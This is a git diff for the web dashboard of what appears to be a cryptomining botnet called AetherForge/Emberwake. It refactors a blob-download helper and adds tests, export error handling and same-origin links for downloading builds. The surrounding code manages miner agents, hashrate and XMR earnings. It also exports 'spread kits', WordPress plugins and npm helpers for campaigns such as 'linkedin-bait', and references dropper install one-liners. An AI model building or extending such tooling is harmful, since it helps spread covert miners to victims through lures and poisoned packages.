diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts
index 28ecfb0..48bc2e4 100644
--- a/server/web/src/api/client.test.ts
+++ b/server/web/src/api/client.test.ts
@@ -322,6 +322,32 @@ describe('api client', () => {
expect(lastFetch().init.method).toBe('DELETE');
});
+ it('exportSpreadKit POSTs and triggers blob download', async () => {
+ setStoredAuth('user', 'pass');
+ fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 }));
+ const appendChildSpy = vi.spyOn(document.body, 'appendChild');
+ const clickMock = vi.fn();
+ vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
+
+ await api.exportSpreadKit({
+ build_id: 'build-1',
+ server_url: 'http://localhost:8989',
+ campaign: 'linkedin-bait',
+ });
+
+ const { url, init } = lastFetch();
+ expect(url).toBe('/api/v1/builder/spread-kit-export');
+ expect(init.method).toBe('POST');
+ expectAuthHeaders(init);
+ expect(JSON.parse(init.body as string)).toEqual({
+ build_id: 'build-1',
+ server_url: 'http://localhost:8989',
+ campaign: 'linkedin-bait',
+ });
+ expect(appendChildSpy).toHaveBeenCalled();
+ expect(clickMock).toHaveBeenCalled();
+ });
+
it('getDashboardStats and listBuilds', async () => {
fetchMock
.mockResolvedValueOnce(
diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts
index 53d4312..b7a82fd 100644
--- a/server/web/src/api/client.ts
+++ b/server/web/src/api/client.ts
@@ -1,6 +1,6 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
-import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
+import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
const API_BASE = '/api/v1';
@@ -275,15 +275,7 @@ export const api = {
DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
- const blob = await res.blob();
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = `agent-${id.slice(0, 8)}.log`;
- document.body.appendChild(a);
- a.click();
- document.body.removeChild(a);
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), `agent-${id.slice(0, 8)}.log`);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
@@ -494,13 +486,10 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
- const blob = await res.blob();
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(
+ await res.blob(),
+ req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip',
+ );
},
exportWordPressPlugin: async (req: {
@@ -516,14 +505,8 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
- const blob = await res.blob();
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = `${slug}-wordpress-plugin.zip`;
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), `${slug}-wordpress-plugin.zip`);
},
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
@@ -534,14 +517,8 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
- const blob = await res.blob();
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = `${slug}-npm-helper.zip`;
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), `${slug}-npm-helper.zip`);
},
exportSpreadTemplate: async (req: {
@@ -560,13 +537,7 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
- const blob = await res.blob();
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = `aetherforge-${req.template}.zip`;
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
},
// Path Tracer — WireGuard VPN chain sessions
@@ -669,13 +640,7 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
- const blob = await res.blob();
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = `aetherforge-${req.template}.zip`;
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
},
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
@@ -736,15 +701,9 @@ export const api = {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
- const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
- const url = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = url;
- a.download = filename;
- a.click();
- URL.revokeObjectURL(url);
+ triggerBlobDownload(await res.blob(), filename);
},
};
diff --git a/server/web/src/api/download.test.ts b/server/web/src/api/download.test.ts
index 7547195..dc24460 100644
--- a/server/web/src/api/download.test.ts
+++ b/server/web/src/api/download.test.ts
@@ -2,9 +2,34 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
+import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
import { setStoredAuth } from './auth';
+describe('triggerBlobDownload', () => {
+ let clickMock: ReturnType;
+ let appendChildSpy: ReturnType;
+
+ beforeEach(() => {
+ clickMock = vi.fn();
+ vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
+ appendChildSpy = vi.spyOn(document.body, 'appendChild');
+ });
+
+ afterEach(() => {
+ vi.restoreAllMocks();
+ });
+
+ it('appends anchor to document body before clicking', () => {
+ triggerBlobDownload(new Blob(['zip']), 'emberwake-test.zip');
+
+ expect(appendChildSpy).toHaveBeenCalled();
+ const anchor = appendChildSpy.mock.calls[0][0] as HTMLAnchorElement;
+ expect(anchor.download).toBe('emberwake-test.zip');
+ expect(clickMock).toHaveBeenCalled();
+ expect(anchor.isConnected).toBe(false);
+ });
+});
+
describe('downloadAuthedFile', () => {
let fetchMock: ReturnType;
let clickMock: ReturnType;
diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts
index af7111b..9376dc4 100644
--- a/server/web/src/api/download.ts
+++ b/server/web/src/api/download.ts
@@ -37,6 +37,19 @@ export async function fetchAuthedWithTimeout(
}
}
+/** Save a Blob to the browser Downloads folder (append anchor — required in Chrome/Firefox). */
+export function triggerBlobDownload(blob: Blob, filename: string): void {
+ const objectUrl = URL.createObjectURL(blob);
+ const a = document.createElement('a');
+ a.href = objectUrl;
+ a.download = filename;
+ a.rel = 'noopener';
+ document.body.appendChild(a);
+ a.click();
+ a.remove();
+ window.setTimeout(() => URL.revokeObjectURL(objectUrl), 0);
+}
+
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
export async function downloadAuthedFile(apiPath: string, filename: string): Promise {
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
@@ -46,14 +59,7 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
throw new Error(err || `Download failed (${res.status})`);
}
const blob = await res.blob();
- const objectUrl = URL.createObjectURL(blob);
- const a = document.createElement('a');
- a.href = objectUrl;
- a.download = filename;
- document.body.appendChild(a);
- a.click();
- a.remove();
- URL.revokeObjectURL(objectUrl);
+ triggerBlobDownload(blob, filename);
}
/** Alias used by Forge auto-download and DownloadButton. */
diff --git a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx
index 09c19da..aa8f54c 100644
--- a/server/web/src/components/Spread/CloudSpreadPanel.test.tsx
+++ b/server/web/src/components/Spread/CloudSpreadPanel.test.tsx
@@ -1,9 +1,10 @@
/** @vitest-environment happy-dom */
import { afterEach, describe, expect, it, vi } from 'vitest';
-import { cleanup, render, screen } from '@testing-library/react';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import CloudSpreadPanel from './CloudSpreadPanel';
+import { api } from '../../api/client';
vi.mock('../../api/client', () => ({
api: {
@@ -26,6 +27,28 @@ describe('CloudSpreadPanel', () => {
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
});
+ it('calls exportCloudTemplate when a method download is clicked', async () => {
+ const user = userEvent.setup();
+ render(
+
+
+ ,
+ );
+ const panel = screen.getByTestId('cloud-method-s3-cloudfront');
+ await user.click(panel.querySelector('summary')!);
+ await user.click(screen.getByRole('button', { name: /Download aetherforge-s3-cloudfront\.zip/i }));
+ await waitFor(() => {
+ expect(api.exportCloudTemplate).toHaveBeenCalledWith(
+ expect.objectContaining({
+ template: 's3-cloudfront',
+ server_url: 'https://deck.example',
+ build_id: 'build-1',
+ campaign: 'wave-a',
+ }),
+ );
+ });
+ });
+
it('shows Crucible cross-link when recon host is entered', async () => {
const user = userEvent.setup();
render(
diff --git a/server/web/src/help/emberwake.test.ts b/server/web/src/help/emberwake.test.ts
index 5952d20..8cfec18 100644
--- a/server/web/src/help/emberwake.test.ts
+++ b/server/web/src/help/emberwake.test.ts
@@ -4,6 +4,7 @@ import {
combinedDropperQuery,
ps1Oneliner,
shOneliner,
+ publicDownloadPath,
publicDownloadUrl,
} from './emberwake';
@@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => {
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
});
- it('public download URL', () => {
+ it('public download path for same-origin dashboard links', () => {
+ expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1');
+ });
+
+ it('public download URL for external sharing', () => {
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
'http://host/api/v1/public/download/build-1?c=c1',
);
diff --git a/server/web/src/help/emberwake.ts b/server/web/src/help/emberwake.ts
index 95377f5..e3ddd26 100644
--- a/server/web/src/help/emberwake.ts
+++ b/server/web/src/help/emberwake.ts
@@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string {
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
}
+/** Same-origin path for in-dashboard download links (always hits the current browser host). */
+export function publicDownloadPath(buildId: string, campaign = ''): string {
+ const q = campaignQuery(campaign);
+ return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
+}
+
+/** Full URL for sharing/copy — uses command deck base from campaign setup. */
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
const base = origin.replace(/\/$/, '');
- const q = campaignQuery(campaign);
- return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
+ return `${base}${publicDownloadPath(buildId, campaign)}`;
}
diff --git a/server/web/src/pages/EmberwakePage.test.tsx b/server/web/src/pages/EmberwakePage.test.tsx
index 1cb0c2f..06e5ffa 100644
--- a/server/web/src/pages/EmberwakePage.test.tsx
+++ b/server/web/src/pages/EmberwakePage.test.tsx
@@ -115,10 +115,33 @@ describe('EmberwakePage', () => {
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
await waitFor(() => {
- expect(exportSpy).toHaveBeenCalled();
+ expect(exportSpy).toHaveBeenCalledWith({
+ build_id: 'build-1',
+ server_url: 'http://192.168.1.5:8080',
+ campaign: 'linkedin-bait',
+ });
});
});
+ it('shows export error when spread kit download fails', async () => {
+ const user = userEvent.setup();
+ vi.spyOn(api, 'exportSpreadKit').mockRejectedValueOnce(new Error('no build pinned'));
+ renderEmberwake();
+ await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
+ await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
+ expect(await screen.findByRole('alert')).toHaveTextContent('no build pinned');
+ });
+
+ it('uses same-origin path for public download links', async () => {
+ const user = userEvent.setup();
+ renderEmberwake();
+ await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
+ await user.click(screen.getByText(/Public download links/i));
+ const link = await screen.findByRole('link', { name: /public download/i });
+ expect(link).toHaveAttribute('href', '/api/v1/public/download/build-1?c=linkedin-bait');
+ expect(link).toHaveAttribute('download');
+ });
+
it('auto-selects pinned build A without re-fetch loop', async () => {
const listSpy = vi.spyOn(api, 'listBuilds');
const warRoomSpy = vi.spyOn(api, 'getWarRoom');
diff --git a/server/web/src/pages/EmberwakePage.tsx b/server/web/src/pages/EmberwakePage.tsx
index dec31b6..cd4682b 100644
--- a/server/web/src/pages/EmberwakePage.tsx
+++ b/server/web/src/pages/EmberwakePage.tsx
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
-import { publicDownloadUrl } from '../help/emberwake';
+import { publicDownloadPath, publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
@@ -64,6 +64,7 @@ export default function EmberwakePage() {
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState(null);
const [exportBusy, setExportBusy] = useState(false);
+ const [exportError, setExportError] = useState('');
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const [autopsySubnet, setAutopsySubnet] = useState('');
@@ -217,6 +218,7 @@ export default function EmberwakePage() {
};
const exportKit = async () => {
+ setExportError('');
setExportBusy(true);
try {
await api.exportSpreadKit({
@@ -224,6 +226,8 @@ export default function EmberwakePage() {
server_url: serverBase,
campaign,
});
+ } catch (e) {
+ setExportError(e instanceof Error ? e.message : 'Spread kit export failed');
} finally {
setExportBusy(false);
}
@@ -321,14 +325,17 @@ export default function EmberwakePage() {
ZIP templates for USB, LAN, or web landers — includes /spread/ assets.
-
+
+
+ {exportError ?
{exportError}
: null}
+
@@ -557,7 +564,7 @@ export default function EmberwakePage() {
{b.worker_name} ({b.platform})
{' — '}
-
+
public download